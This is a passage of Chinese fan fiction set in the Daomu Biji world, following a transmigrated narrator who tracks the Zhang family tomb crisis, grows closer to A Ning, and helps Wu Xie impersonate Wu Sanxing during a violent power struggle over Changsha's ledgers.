“小姑娘,”老太太沉重地叹了口气,“我活到这个岁数,很多事不用说出口就能看明白,那天你休克前的眼神,已经告诉我太多东西了。”
那边骤然传来炸雷般地惊呼,声音穿过帐篷、手机,越过大半个广西在我耳边炸响:“不好了!最后一丝信号断了!他们完全失联了!”
老太太默了默,我紧张地问:“谁失联了?你们不是没下去吗?”
“王月半,还有,那位。”听筒那边的声音猛然嘈杂起来,一瞬间我听到好几个纷乱地脚步声跑过来,又忽然停住,只有粗重的呼吸声。
是霍家的伙计来到了霍老太太身边,守规矩地侍立一边,在等着她拿主意。
老太太冷哼一声:“王月半一听我要暂时带人撤退,泼皮打滚地要先下去,他什么想法我清楚的很!自作孽不可活,我从来不拦着找死的人,只是那位我必须要救他。”
“他们老吴家重那什么狗屁情谊,吴邪必然会来巴乃救他们,他要去长沙夹一只厉害的喇嘛,天真到愚蠢!长沙现在成什么样了他根本不知道。”
“正确的密码我已获得,接下来我会派第一只队伍营救他们。长沙那边,我派秀秀带人去帮他,堂堂吴家少爷,要是死在自家地盘那才好看!”
霍老太太声音里难得露出疲态,半晌,问道:“林小姐,你什么打算?”
“我……”我迟疑了,抬头看了看阿宁。局势变化太大,必死的霍老太太没有死,但胖子闷油瓶依然被困,吴邪仍旧去了长沙找人救人,主线依然按照原书情节,但跳出了一个活的霍老太太,这我真的有些不知所措了。
“霍老太太,”我顿了顿,决定问出心中的疑惑,“您既然没带队下地,那么霍家精锐尚存,为什么吴邪还要去长沙夹喇嘛?霍家这么多厉害的伙计不够吗?”
原书中,吴邪是走投无路才去了长沙,利用他三叔的号召力召集了一只下斗的队伍。
那么现在霍老太太还活着,霍家精锐还活着,吴邪为什么还要去?
“小姑娘,你知道吴邪,王月半身边的那位吧,”霍老太太苦笑一声,“连他都会困在这个古怪的地方,冥冥之中我感觉,我的人未必能救出来他。”
“现在只能尽人事、听天命,有些事情未必是我能插手的了的。”
最后,霍老太太低声道:“小姑娘,我不知道你有什么奇异之处,但心中有个声音在告诉我,也许你的加入,就是破局的关键。”
……
我挂了电话,颇为怔忡。
我轻轻拉了拉阿宁的手,在我打电话时,她一直在旁边听着:“阿宁,事情似乎复杂起来了。”
阿宁回握住我的手,轻微拧起眉,向我展示刚刚下属递过来的平板,上面有几张图片:“不错,你看这个。”
我看了一眼,立刻吓一大跳。
这是一张来自巴乃瑶寨的照片,照片上面有一个几乎已经无法被称之为“人”的生物。
他躺在瑶寨里面的草席上,全身都像融化了似的,没有任何坚硬的骨骼支点,皮肤下面肉眼可见包裹着像黏液一样的东西,五官完全看不清了,只能看到两个绝望痛苦的眼睛,简直像一个怪物。
“你们的人?”我大吃一惊。
阿宁只是给我闪了一眼,立刻关了平板,我们两个看的心里都不好受,阿宁说:“这一队七个人,只有他回来了,人回来的时候就成这样了,爬着回来的,液体流了一路。”
“不知道人为什么会变成这样,他的身体完全液化了,声带完全毁坏,说不出来话。”
“你们的人也失踪了……张家古楼,果然恐怖。”我喃喃道,“阿宁,你快传消息,这种伤,是强碱造成的,让他们都穿防护服再进去!”
阿宁脸色一变,二话不说立刻打电话。
我重新给霍老太太回拨过去,简单说了一遍。
挂了电话,我等了一小会,并没有出现吐血的情况,难道说,这种无伤大雅的程度的“泄密”,是被允许的?
“你在想什么?害怕吗?”阿宁把手机塞到口袋,一边说着,朝我靠近了些,伸出手,又突然想起什么,手一顿。
“不,”我对她笑了笑,向左一歪头,主动蹭了蹭她还没来得及收回去的手。<
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p>阿宁说:“——我以为你们中国女孩子都比较含蓄。”
我看了那边下巴掉一排的手下,小孟在挑眉,几个老外脸色惊恐,航空护卫员眼神暧昧。
“刻板印象啦,”我说,“又开放又含蓄吧,并不冲突。”
我看到阿宁的眉眼舒展,眼睛弯成一个好看的弧度,也忍不住笑起来:“阿宁,你笑什么,你几个手下好像快吓死了。”
“你去巴乃吧,”我突然说,“你职位不低,那边现在局势大乱,已经有人催你了吧?你这个劳模,是不是打算带伤上阵?”
“你——”阿宁一愣,我赶紧说:“但是你不能下去!我也会去巴乃的,你要是偷偷溜下去,我会去找你,要死一起死。”
阿宁声音沉寂下来,“不是的,如果你不想让我再去,我会让步。”
空气安静了,阿宁看着我,有千般情绪,万般思绪,都淹没在海一样的黑眼睛里。
狂风暴雨归于平静,阿宁眼神里有奇怪的光一闪而过:“你说,你是为我而来,这真让我感到高兴,那我保护我这条命就会像保护你一样,直到生命尽头。”
“……好。”我眼睛有点热热的,轻轻地说。
我和阿宁在南宁机场分别,我带着小孟她们坐上去长沙的飞机,阿宁回了巴乃主持大局。
张家古楼的强碱机关,胖子和闷油瓶极有可能也会遇到,时间拖的越久,他们就越危险。
吴邪必须尽快带人去救他们。
登机之前,我给吴邪打电话,过了半分钟才接通:“喂林霖?”
我刚想开口,忽然听见那边拍桌子拽板凳的声音,十分猖狂:“我呸,叫你一声小三爷,还真把自己当回事了!没了吴三省,你算个什么东西!你不出去打听打听,这长沙城现在是谁的地盘?!我告诉你吴邪,老子回去就放出来话,我让你有钱也夹不到喇嘛!”
接着边是骂骂咧咧的摔门声,砰地一声,那边完全安静了。
“听起来你现在不太好。”我打破沉默。
吴邪苦笑一声,说:“林霖,胖子小哥他们出事了,你知道了吧?”
我嗯了一声,吴邪道:“我打你电话,是想找你问问,你能不能给我算一算,他们还活着吗?”
吴邪声音有些发抖,几乎不敢听我的回答。
我安慰道:“别担心,他们现在还活着。”
头顶利剑骤然消散,那边安静了许久,接着吴邪像是长舒了一口气,带着点颤抖的鼻音掩饰般抱怨道:“都是胖子死性不改,狗日的这死胖子肯定想偷摸摸点好东西,这下栽了吧。”
我没说话,过了会儿,我听吴邪压抑着说:“还好……还好,我没有害死他们两个。”
“不会的。”我说,“你们一直都挺好。现在你那边什么情况?”
吴邪的声音无比苦涩:“……林霖,你说我该怎么办?我现在在长沙,三叔失踪了,长沙的盘口乱的不成样子,刚刚那个声音你听见了吧?那是我家嫡系的一个叔,以前三叔在的时候对我可好了,如今三叔倒了,他对我这样。这就是人心?……真他大爷的恶心。”
36.长沙
身旁的小孟扯了扯我,示意我该登机了,我加速对吴邪说:“你等着,我马上来长沙帮你。秀秀他们也会来,你有解语花的电话吗?”
“有,他长的挺好看的,你要要吗?”吴邪愣愣地说。
“……吴邪我有时候真想看看你脑子里面装的什么!”
我忍无可忍地说:“现在你给他打电话,告诉他,你要……这样做,记住了没!”我压低声音。
吴邪大吃一惊,十二分的抗拒:“什么!这怎么行?”
“怎么不行?”我冷笑着反问,“吴邪,我们所有人都为你提供助力,你还在犹豫,徘徊!你这样会害死很多人知不知道!吴三省之于长沙,就像霍老太太之于北京,土皇帝的存在!霍家,解家就算手伸的再长,长沙的那群人也不认!只有吴三省归位才能解决这一切。”
我缓了缓,道:“别总是被动的被人推着走了,吴邪,靠谱一次。看到你身边的潘子了吗?”
吴邪低声说:“看到了。”
“他已经老了,早就到了该退隐的年纪,如今陪你出来跑。”末了,我恐吓他道:“如果你无法狠下心,你会害了他的。”
吴邪似乎听出了我话里的隐喻,打了个哆嗦。
“我真的能做到吗?”吴邪纠结地说,“我会不会把事情搞砸?”
“你会的,”我走向飞机,手下们跟着我,“去找解语花吧,他会帮你的。”
“这都是你算出来的吗?”吴邪忐忑道。
我脚步微顿,无声叹了口气,心说这孩子也不容易:“吴邪,你仔细想想,以前哪一次我没说对?这都是你必须要走的路。相信我,你会做到的。”
……
王八邱从饭店出来,只感觉神清气爽,这么多年在吴三省手底下受的鸟气,终于对那个傻哔侄子发泄出来了。
他在心里阴冷地盘算着,吴邪是吴家独苗,杀了他,吴家偌大的盘口,还不都是自己的囊中之物?
回去之后,王八邱立刻放出话来,谁要是敢帮那个什么狗屁小三爷,他保管让人吃不了兜着走。
他心情愉悦地睡了一夜,第二天,他打算出门欣赏欣赏吴邪低三下气到处求人的丑样,看着那张和吴三省神似的脸露出那样的表情,真是令人高兴。
没想到刚一出门,手下连滚带爬跑过来:“邱爷不不不不好了!三三三爷他回来了!”
王八邱脸色巨变,上去就揪着手下的领子扇了两巴掌,大吼:“你他大爷的逗我?吴三省不是死了吗?”
手下吓的屁滚尿流,大叫道:“真的真的!我亲眼看到的,就在湘江路边,今早我跟着潘子过去看到的!”
“艹!”王八邱从牙缝里挤出一句话,阴冷的眼神扫过四周:“还狗日的都愣着干那么?都给老子上车,会会三爷!”
湘江路边。
王八邱透过黑沉沉的车窗,果然在公园的咖啡馆里看到了吴三省。
吴三省和潘子坐在一起,他们对面,是几个女人,其中一个年轻女人坐在主位,悠哉地喝着咖啡。
这他爹的是什么情况?
绕是各路牛鬼蛇神都见过的王八邱也有点懵。
这女人是什么人?能让吴三省一回来连自己侄子都不见赶忙来见她?
手下面面相觑,不敢说话。王八邱冷眼盯着,视线扫过她旁边的几个人。
“不对劲。”王八邱道。
看这几个人的位置,明显以那年轻女人为首,单看那年轻女人,并不能看出来什么。
但那几个人,并不寻常!
王八邱也是见过世面的人,知道一些顶尖打手的气质,并不是自己这几个蠢货手下能相比的。
那几个人隐约间给他的感觉,令他感到细微的恐惧,做他们这行,最能辨认谁好惹谁不好惹。
那女人和她手下,显然是个不好惹的狠茬子。
自己这几辆车的人,可能还不够人塞牙缝的!
甚至就是吴三省那条指哪咬哪的潘子,可能也不是人对手!
这种顶尖打手,那个女人竟然一次带出来四个?看她那悠闲的样子,看起来完全不在乎。
“这女人,身份不简单。”王八邱神色凝重,“难道是霍家人?不对,霍家有头有脸的人我都见过,脸对不上。”
吴三省也对她这么客气,这说明,在地位上,她至少是和九门高层平起平坐。
九门里什么时候多出来这么一号人物?
王八邱百思不得其解。
忽然,咖啡店的玻璃里面,有人在那年轻女人耳边说了一句话,就看到年轻女人忽然通过玻璃看了过来,眼神淡淡,但是没有迟疑,直接锁定了他。
王八邱心中升起一种十分矛盾的感觉,他觉得,这女人看起来十分无害,但那眼神隐约又带着令人悚然的危险,简直诡异!
他一咬牙,说:“往前开!我今天倒要探探三爷的风水!”
车子风驰电掣开到咖啡店门口,呲啦一声王八邱下车,看到年轻女人和吴三省带着人走了出来。
年轻女人冷笑一声,看着他,话却是对吴三省说的:“三叔,你很久不回来,什么阿猫阿狗也蹬鼻子上脸了,传出去不让人看笑话吗。”
王八邱浑身一震,条件反射般对着两人露出笑脸:“呦呵,三爷什么时候回来的,也不跟我说一声。这位小姐是?”
吴三省没有说话,对年轻女人做了个手势。
“王八邱是吧,三爷什么时候回来的不重要,我什么身份你也不配知道。”年轻女人皮笑肉不笑地看着他,眼神冷厉,“滚回去告诉他们,吴三省回来了,都洗干净脖子等死吧。”
王八邱手下跟着他作威作福惯了,看我比他们老大还狂,立刻面露凶色,一拳就要锤我,小孟闪身而上,轻松捏住了他的拳头,在他惨叫声中一脚把人踹飞。
这一脚十分有力度,那伙计凌空飞出去十米远,撞树倒地吐血,趴在地上一动不动。
这立刻震住了所有人,我看着王八邱那张惊怒交加的脸,想起昨天他怎么说吴邪的,这种忘本的杂碎,十分令人厌恶。
小孟忽然上前两步,以迅雷不及掩耳之势正反扇了王八邱两巴掌。
我冷冷道:“滚。”
王八邱脸色涨紫,嘴角带血敢怒不敢言,怨毒地看了我和吴邪一眼,匆忙跑了。
几辆车绝尘而去,我看到窗口有闪光灯一闪而过。
这我他大爷的可能又被列入暗杀名单了。
我冲吴邪挥手:“替你打回来咯,记得给钱。”
潘子忍不住道:“打的好,小三爷是该给钱。”
吴邪笑了笑,一张沧桑的老脸是上显出几分解气,看起来十分怪异。
自从今天早上我看到吴邪戴上了吴三省的这张老脸,总感觉怪怪的,很不习惯,玩笑都不好和他开了。
我左右看了看:“长沙到处都是探子,先回酒店吧,别被半路截住了。”
酒店套房。
潘子坐在沙发上说:“三爷回来了,整个长沙今天都会知道这个消
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息,我们得抓紧时间把小三爷训练出三爷的气场,不然都是人精,小三爷一个表情可能就露馅了。”
潘子大概是从来没住过这么好的酒店,顺手摸了摸柔软的沙发垫,眼角皱纹绽开,十分真心的对我道:“林小姐,多亏了你了。今天要不是你来撑场子,今天我和小三爷遇到王八邱,无论是我这个三爷的伙计动手,还是小三爷动手,都会传递出一个消息:吴家三爷没落了,在自己的地盘还要亲自打人。”
潘子叹气道:“你带着人过来,多少能帮我们撑点场面,我代三爷,谢过你了。”
他站起来对我一拱手,笔直如剑的脊背微微弯下。
我看着这个为吴三省,为吴邪忠诚到死的伙计,头发都花白了,还没有个亲人,他就是这样到死也孑然一身,只留下了破旧出租屋里一碗没吃完的面。
我心里发酸,垂下眼睛说:“不用,大家都是朋友,吴邪我也不能看着他无路可走。接下来就是你和吴邪的事了,你们吴家的盘口,还是得你们收。”
潘子是聪明人,立刻明白了我的意思,拉着吴邪就去房间里商量对策。
偌大客厅只剩下我和几个手下,小孟给我倒了杯果汁,我往后靠了靠,喝了一口。
秀秀和小花即将到长沙,如果没有意外,等吴邪唱过一场吴三省查账,血洗长沙的大戏,我就能立刻赶去巴乃见阿宁。
我来到长沙,想做的是阻止吴邪带潘子去巴乃,既然霍老太太脱离了命运轨道,也许潘子也可以。
小孟在一边看我,我说:“你有什么话就说呗,看你憋了一路了。”
小孟今天依然穿着得体的西服衬衫,十分干练,闻言嘴角弯成一个标准的弧度,一举一动像个大宅管家一样彬彬有礼:“只是在南宁的时候有些惊讶,没想到林小姐竟然喜欢阿宁。”
提到阿宁,我嘴角上扬:“是的,这有什么稀奇的?”
“没什么,”小孟笑了笑,“只是突然想起来以前墨家也有一个喜欢女孩的人,和你一样。”
小孟说这话的时候,我注意到一直以来像透明人一样的手下们忽然眼神动了动。
“能说说吗?”我问。
小孟点头:“说起来,她和墨婳颇有渊源,她们俩从小一起长大,她对墨婳非常非常好。”
我喝了口果汁,“后来呢?”
“后来她死了。”
“咳咳咳——”我被呛到了,小孟拍拍我后背,我无语道:“抱歉,但这是否太突兀了。”
小孟失笑:“我的错。其实她对所有人都非常好,包括她们几个。”
小孟指了指三个手下:“家族训练残酷,每个人完成任务都不会有多余的心思去关系别人,实际上我们家族内部亲缘是非常寡淡的,家族内部更像是一种上下级关系。但她不一样,她经常会对结束训练的人嘘寒问暖,温柔的不像我们墨家人。”
“听起来是个很好的人,”我说,“她后来怎么死的?”
“为墨婳挡刀死的。”小孟淡淡地说,“从那次变故之后,墨婳就离开了墨家。”
墨婳竟然还有这样一个充满悲情色彩的白月光,我问:“她喜欢墨婳?”
小孟肯定道:“对,但是墨婳对她什么态度我就不知道了。”
我哦了一声,又嘬了一口果汁,心说这个故事虽然听起来虽然很感人,但和老娘有什么关系。
小孟似乎看出来什么,眼里忽然闪着邪恶的光,揶揄着加了一句:“林小姐可能不知道,她和你长的有点像哦。”
37.大戏
“噗——”我一口果汁喷了出来,“等等,你说的是真的?没骗我?”
“骗你干什么。”小孟摇了摇头,抽出纸巾擦茶几。
我窝回沙发,双手抱臂怀疑地看她,小孟回以无辜的眼神。
“你跟我说这个干嘛?墨婳能让你说这个?”我审视地打量她,“别嬉皮笑脸的!”
小孟看样子是想笑,硬生生憋住了,仔细把茶几擦干净,扔掉垃圾,才说:“没骗你,我说的都是真的,你不信可以问她们。”
我看着几个手下,她们都点头,小孟又说:“墨婳当然不会让我说这件事,但是我跟了林小姐后,发现林小姐和以前那位十分相像,不管是长相还是性格,这就让我不得不多心了。”
小孟言辞诚恳,一脸站在我这边为我考虑的样子,我无奈地看她一眼:“如果你能把你看热闹的眼神收敛一下我还会信你两分。”
小孟笑而不语。
我甩开她,踩着拖鞋回房。
我原本以为,小孟是墨婳的下属,但这一段时间相处,小孟提起墨婳都是十分平等的语气。
听起来,她在那劳什子墨家,地位和墨婳差不多?起码是平级。也许是墨婳先出来混的,在外面混的不错,小孟投奔她,在她手底下做事?
不管小孟忽然跟我说这个干嘛,她向我传递出一个信息,也许墨婳对我别有所图。
不会是想抓我回去当白月光替身吧?我忍不住笑出声来,只感到荒谬,如果她真的有这个打算,那无论是对我还是对那个白月光,都是一种深深的侮辱。
吴邪和潘子在房间练了一整天,晚上八点,秀秀和解语花来了。
他们订了我们隔壁的套房,带着人乌泱泱就过来了。
吴、霍、解三家是互通姻亲的,三家联系非常紧密。
从某种程度上来说,解语花就是失去天真和庇护成长起来的吴邪,霍老太太如果身死,那么秀秀也会变成小花那样。三个人其实都是彼此的影子。
客厅里挤满了人,十几个伙计动作利落,取代了酒店服务生的工作,不断上菜。
饭桌上,小花倒了一杯酒,对还在心里感慨的我说:“初次见面,久仰大名,林小姐。”
我回过神来,连称不敢,和这个穿粉红衬衫的家伙碰了一杯。
小花看我的眼神带着些许探究,秀秀大概是在桌子下踩了他一脚,转头笑盈盈说:“林姐姐好酒量,人也好,小花哥哥你别吓到人家!”
秀秀为我倒满酒,语气带着几分认真,举起杯子说:“林姐姐,巴乃的事多亏了你了,我从巴乃走的时候,那个老外的队伍,活着回来的人非常少。他们装备精良,丝毫不比我们逊色,我奶奶都没想到他们竟然会是这样的结果。”
“没什么,”我摇摇头,说,“其实主要还是在于你奶奶,如果她没有发现异常下令撤退,我起不到一点作用。”
秀秀神色后怕:“我真的不敢想……要是奶奶出了事,我该怎么办。”
我垂下眼,旁边的吴邪安慰了秀秀两句,秀秀猛吃一大口菜,看着吴邪偷笑:“吴邪哥哥,你还是想想自己的事吧,明天你就轮到你上场了哦。”
吴邪看了一眼潘子,说:“潘子安排的剧本,明天早上九点,我装成我三叔去茶馆查账本,到时候我发一顿沉默的火,震慑住那群人。”
潘子说:“账本是主要的,账本一定要能收上来,收了账本就代表这些人都是软脚虾,给他那个造反的胆子也不敢。只要控制住几个主要盘口的地头蛇,长沙就不会崩。”
吴邪忧心忡忡:“王八邱怎么办?他那样子杀了我的心都有,一定不会交账本。”
“走一步看一步吧,”潘子道,说着拿着酒瓶灌了一大口酒,声音透着冷厉:“三爷消失太久,他们早就蠢蠢欲动了,正好这次花儿爷也在,是时候来一场大清洗了。”
潘子语气中的血雨腥风十分瘆人,吴邪夹菜的手一顿:“会死人吗?”
饭桌沉默了,小花轻笑了一声,抬头和我对视一眼,摇头一乐,不知是对吴邪感到好笑还是可爱。接着,他冷冷地说:“吴邪,我们九门,从来不是打打闹闹就轻松得来的天下。”
翌日。
霍家开来一长串车队,车开了将近一个小时,来到一条大路边的茶馆。
这个茶馆看起来和普通的景区茶楼并没有什么区别,但在外面热闹的像赶集,整条路停的都是各种各样的车,围着高矮胖瘦的伙计,一双双眼睛牢牢盯着我们。
小孟下了车,给我开车门,我看到前面的车上秀秀挽着吴邪,几个人很快下来。
在吴三省那张脸出现的一瞬间,无数人大叫了起来,神情惊惧。
无数声音叫嚷道:“三爷真的来了!”
整个路边像突然沸腾的水按下暂停键,所有人都屏住呼吸,死死盯着这边,连神经都是一模一样的紧绷。
人群自动分成一条路,足以让大货车开过去。
我带着人,跟在吴邪后面走进茶馆,看着那些人惊疑不定的脸和忌惮的眼神,心里忽然就明白了为什么这么多人追求权力和地位。
这种凌驾于众人之上的感觉,真的会让人产生一种成瘾性的快感。
……
二楼古色古香的包厢里,吴邪在椅子上落座。
外面人影绰绰,却十分安静,秀秀点茶,小花安排人去做事,我穿着秀秀拿给我的衣服,站在窗边。
秀秀说,反正他们也不知道我是谁,干脆穿上她们霍家的衣服当霍家的人,还能让他们捉摸不透。
进茶馆的时候,我看到好几个人看我的眼神明显不一样,十分阴冷,大概是王八邱的人。
吴邪有些坐立不安,潘子在给他使眼色,秀秀拍了拍他,让他镇定。
屋里屋外的人都很紧张,只有我在这里显得格格不入。
解语花安排好了人,做了个不容置疑的手势,伙计低着头小跑离开。
他一抬头,看我盯着他,笑道:“林小姐,怎么了?”
“没事,”我说,“就是觉得你们很真实,很不容易,有些感慨。”
他显然没想到我用这样的词形容,一下有些发愣,很快笑了笑,不说话了。
我也感觉这话有点奇怪,他一定是听不懂的,于是也闭了嘴。
只是我不知道,在我转过头去的那一刻,解语花又飞快地看了我一眼,眼中意味不明。
一切准备就绪,潘子喊了一声,紧接着所有包厢里传来椅子呲啦声,我们包厢的帷幔一撩,
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一个接一个的人走了进来。
我十分好奇,在一旁看着他们。
这些干着吃枪子的事情的人,看起来也没有很特殊,甚至十分普通,丢人堆里也看不出来。
小花开始说一些场面话,我看着进来的人,忽然看到一个有些与众不同的姨。
说姨可能叫老了,她看起来三十多岁,长相气质十分出挑,但为人低调,站在那不显山不露水的样子,视线下垂听小花说话,时不时看吴邪一眼。
我正纳闷着,那少妇忽然抬起头来看了我一眼,眼神十分奇怪。
那眼神有些困惑,又有些隐隐的敌意,一下就给我搞懵了。
她是谁?为什么这样看我?!
我有点汗流浃背,这不对啊,老娘从来没见过她,她敌意个什么劲?今天站到这里的,不都是吴三省的人吗?
我看着她,她突然又看了吴邪一眼。
吴邪那张老脸神色严肃,并没有看她。
“……”我忍不住想骂人,这位姨,好像是误会什么了。
哑姐,吴三省,不,解连环手下十分厉害的一号人物,在解连环扶持下不到一年时间做稳盘口生意,同时她和解连环,也是情侣关系。
走货这种生意,没能力的人就算有关系也打理不好,这个哑姐,绝对是个人物。
昨天我和吴邪出现在湘江路边,她一定知道了消息,也许还看到了王八邱拍的照片。
现在吴邪心里正发着虚,一点也不敢看她,哑姐见状,一定是误会了。
“老六,说这么多,嘴都说干了,账本赶紧拿出来啊。”小花笑着,但语气已经带上了不快:“怎么,你想走?”
我回神来,看着老六。这个伙计,是王八邱的人,王八邱造反是板上钉钉的,这个人,绝对是个难搞的刺头。
那老六就笑,反应奇快:“花儿爷,咋都是知根知底的人,您也甭吓唬我,我也不是吓大的。这长沙现在这个样子所有人都看着呢,三爷生病了拍拍屁股走人,连跟弟兄们说一声都不屑,这阵子,三爷您不在,我们下面兄弟都成什么惨样了?外地那些人都来欺负我们,苦了我们都没个撑腰的!”
“今天我就把话撂这儿了,账本我没带,老子就是空手来的。”老六斜着一条腿,不高兴地站着。
他看起来像是耍起了无赖,摸手机看了一眼,说:“我家邱爷找我有事儿,哎,各位爷,秀秀小姐,拜拜了。”
“不准走!”小花叫道,“留下账本才能走!”
老六置若罔闻,拨开人群就往外走,这个时候一直站在吴邪后面的潘子忽然动了一步。
刹那间所有的声音,所有的眼神交流都停了,所有人整齐地往后退了一小步。
老六立刻转身,警惕地盯着潘子,浑身都紧绷了:“潘子,你想干什么?”
潘子伸出一只手点了点,简洁地说:“账本,留下。”
潘子的态度就是吴三省的态度,老六眨也不眨的盯着潘子,说:“老子说了,账本没——啊啊啊!”
惨叫声响彻整个包厢,潘子抽回匕首,老六捂着肚子不断后退,腹部一个血洞,血像水龙头一样喷了出来。
潘子掂着手里的本子,冷冷地环视一圈:“这不是带了账本吗?”
38.决心
小花快步上前,接了账本递给吴邪,其他人神色各异,一看老六表现的这么嚣张,都带了账本,是个外厉内荏的货,忙不迭也交了账本。
老六已经痛地说不出话来,倒在地上痛苦地哀嚎,血漫红了一大片。他捂着腹部,怨毒地看着我们,旁边没有一个人敢扶他。
楼下有骚动传来,很快被压了下去,小花看着那几个相互打眼色的人,笑道:“老六太调皮了,手底下人野惯了,是时候好好教教规矩,出去了说是三爷的人,我们三爷都嫌丢人不认的。”
这间隙,吴邪翻完了账本,我偷偷注意着他,吴邪拿着这些明显有问题的账本,面上露出些许怒意,很快就要上演吴三省摔账本的绝活和烟灰缸砸潘子的暴怒。
演完了这最后一场戏,长沙这场闹剧就能结束了。
我活动了一下脚腕,想着去巴乃的时间。阿宁昨天给我打了个电话,她听起来很累,却笑着问我怎么样。
听起来和平常她对我说话没什么太多区别,在北京她也是这样问我想去哪里吃饭。
我早该查觉到的,阿宁她不是对谁都会顾及这么细微,平常人的社交礼仪,比如微笑问答之类,对阿宁来说并不是她的日常。
我忍不住笑起来,忽然,透过层层衣角,我看到老六面容扭曲地盯着我,对视的瞬间,他认出了我,嘴里无声骂了一句脏话。
小孟在我旁边,看的清清楚楚,脸色瞬间难看下来,手一翻,一根细长的针捏在了指间。
我毫不怀疑,只要她手指轻轻一弹,这根夺命的针就会深深刺入老六的眉心,顷刻毙命。
“别。”我拦下她,摇摇头,“这种人不值当生气,垂死前的谩骂,毫无攻击力。”
这边劝住了小孟,那边秀秀不乐意了,眼神不善地看着老六:“老六,你嘴巴最好放干净点,她是我霍家人,你有意见?”
老六痛的冷汗直流,看着秀秀,忽然神经质地笑了起来:“秀秀小姐……您当我是傻子吗?她是哪门子的霍家人?我昨天可和邱爷问了您哥哥,霍家可没这号人!”
秀秀和小花都皱起眉,冷冷地盯着他,秀秀道:“我哥哥?你怎么和他有交集的!”
忽然,汽车的巨大轰鸣从窗外传来,由远及近,一听就知道数量绝对不会少。
所有人一愣,老六马上笑了,这笑嘶哑又难听,像濒死的野兽一样。
他艰难地说:“您哥哥这不就来了吗?三爷……你他爹的想不到吧,我和邱爷凭什么敢和你们对着干!今天我死,你也得给我陪葬!”
老六眼睛转向秀秀:“秀秀小姐,多亏了你两个好哥哥,长沙这块豆腐……谁狗日的不想咬一口?哈哈哈哈……还是你们霍家人爱使阴的!我呸!都说吴家谢家霍家关系好,就好成这样哈哈哈……”
秀秀脸色骤变:“我哥哥竟然跟你联手?蠢货!奶奶还在,他们敢擅自对吴家的盘口下手?!找死吗?”
老六十分痛快,不管不顾狂笑着:“那我哪知道呢?他们等不急了!我也等不急了!都去死吧!你们都去死吧!”
秀秀静静看着他,突然猛一甩手,淬着寒光的刀穿过人群,笔直钉入老六的脖子和地板,血液喷涌而出,溅了旁边人一身。
所有人大吃一惊,看老六倒地的尸体,又去看秀秀。没有人想到,秀秀竟然会出手。
我猛地转头,看着秀秀比冰还冷的侧脸,秀秀垂下的手微微颤抖着,对我说:“林姐姐,这是我第一次杀人。”
与此同时,小花的手机响了,他飞快看了一眼,立刻摁灭手机,神色凝重,对我们说:“不好,王八邱带着秀秀她哥的人来了!我们的人已经和他们干起来了,秀秀!你先和三爷走!潘子和我留下!”
“对不住了各位爷,家里头有点事,今天先到这里,改日三爷再和各位聚聚!”小花高声道,外面响起了金属冷兵器的脆响和怒喝。外面包厢许多人不知道什么情况,纷纷大喊怎么了!
“走!”“撤退!”包厢里的人都不是傻子,大吼着招呼自家伙计,对吴邪告了声罪,带着人狂奔下楼。
那个哑姐走的时候,回头看了我们一眼,我逮住机会对她拼命眨眼,趁乱喊了一声:“姨,你快走!”
哑姐顿时瞳孔地震,眼神惊讶地看我,一下就明白了,一秒的间隙里,转身就走!
透过狂舞的帷幔看去,一楼大门乌泱泱全是人,往外挤的、向里冲的,翻窗户夺路而逃的乱做一团,场面极度混乱。
外面围满了车,不断有人气势汹汹地下车,手里拎着铁棍和匕首,左顾右盼找我们。
小花抽出匕首,紧紧拉着秀秀的手,带我们从另一个通道冲向后门,这里人也不少,我看到好几个眼熟的伙计正激烈的和人缠斗,杀红了眼,一地的血滴。
门口司机拼命按喇叭,听起来并不明显,因为这一片路喇叭声已经响成一片了。
“秀秀林小姐!你们和三爷先走!”后门小路上,有几个人一看到我们,立刻握着匕首面露凶光狂奔过来,小花把秀秀一推,甩开匕首,一手挡着我们大吼。
潘子低声道:“林小姐麻烦你了!快带吴邪走,这里有我们撑着!”
我飞快一点头,拉着吴邪上了车,车门没关,秀秀还没上来。
我着急喊她快走,她站在原地,脸色冷的吓人,原先那种很俏皮的感觉从秀秀身上褪去了,她不笑的时候,和威严的霍老太太有三分神似,让人绝对,绝对不敢在她面前放肆。
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那一瞬间,我咽下了嘴里所有的话。
秀秀这个样子,我知道我说什么都不管用了,我不知道是看到了年轻时候的霍老太太,还是看到了未来的秀秀,在某些时刻下定了决心的人,是和平时完全不一样的。
秀秀说:“你先走吧林姐姐,我有点事。”她缓缓抽出匕首,摆了一个很玄妙的起手式,下一秒,迎着那几个冲到我们面前的人,以一种极快的速度杀了上去!
司机一脚油门,我和吴邪被按在椅背上,接着,我还来不及扭头看秀秀,就被眼前的一幕震惊了。
我们车里,坐着我,吴邪,小孟,汽车横冲直撞穿过无数人和车,车左右边窗户上,各扒着一个人,后视镜映出她们面无表情的脸。
我的手下们没有上车,她们单手扒着车窗,另一只手挥舞着匕首,毫不留情地斩断一切阻碍。
血肉凡胎怎么比得过钢铁巨物?
可是她们灵活的在车身侧面移动,躲闪,攻击,完美和咆哮着的汽车融为一体,她们就像是卓越的驯兽师,笨重的机械汽车在她们手中像是活了过来,完美发挥着巨大的力量,在长沙停满车,围满人的大路撞出一条通道来!
吴邪喃喃道:“车又不是马,还能夹着跑吗……”
我简直说不出话来,忽然想到上海郊区,三百多千米每小时的速度,鬼蝶弃车窜上了我的车顶。
我看着窗户外面人仰马翻和时不时借力倒翻的手下,敲了敲小孟:“你们墨家人,是把汽车当玩具吗……”
……
我们逃出混战的茶馆,酒店也不敢回,司机带着我们到解家的一个据点,晚上几乎没人睡着。
夜晚的长沙,下起了雨,丝丝细雨飘在房间的玻璃上,成股流下,像极了茶馆里老六的血。
我后退一步,压下心头后知后觉的恶心,忽然想起了在书里,解语花对吴邪说的一句话。
“今晚要下雨,流血的天气。”
只有真正经历过,才知道这句话包含的残忍和血腥。
清晨,秀秀小花潘子回来,血呼呼地三个人到头就睡,我和吴邪也终于安心下来,几个人一直昏睡到傍晚才醒过来。
秀秀已经洗过了澡,正在擦头发,看我醒了,对我淡淡地笑了笑。
她这一笑,我什么也问不出口,心里有些发堵,低头假装玩手机。
屏幕亮起,有阿宁的未接来电,她打了两遍,没有打通,给我发了消息:“你什么时候来?长沙的事解决了吗?”
我忍不住笑,勾起嘴角给她回:“解决了,明天就去,你怎么样?”
信息发出去,那边没有回音,我收起手机,一抬头看到秀秀一脸好奇地盯着我:“姐姐,你是不是在谈恋爱?”
39.花园
我轻咳一声,捞起外套往外走:“小孩子家家的别问。”
秋季的风很是清凉,昏睡一整天的昏昏沉沉消散了些,我握着手机等待阿宁的电话。
正发着呆,兜里忽然传来震动。
我疑惑地掏了掏,拿出来一个圆形手表。
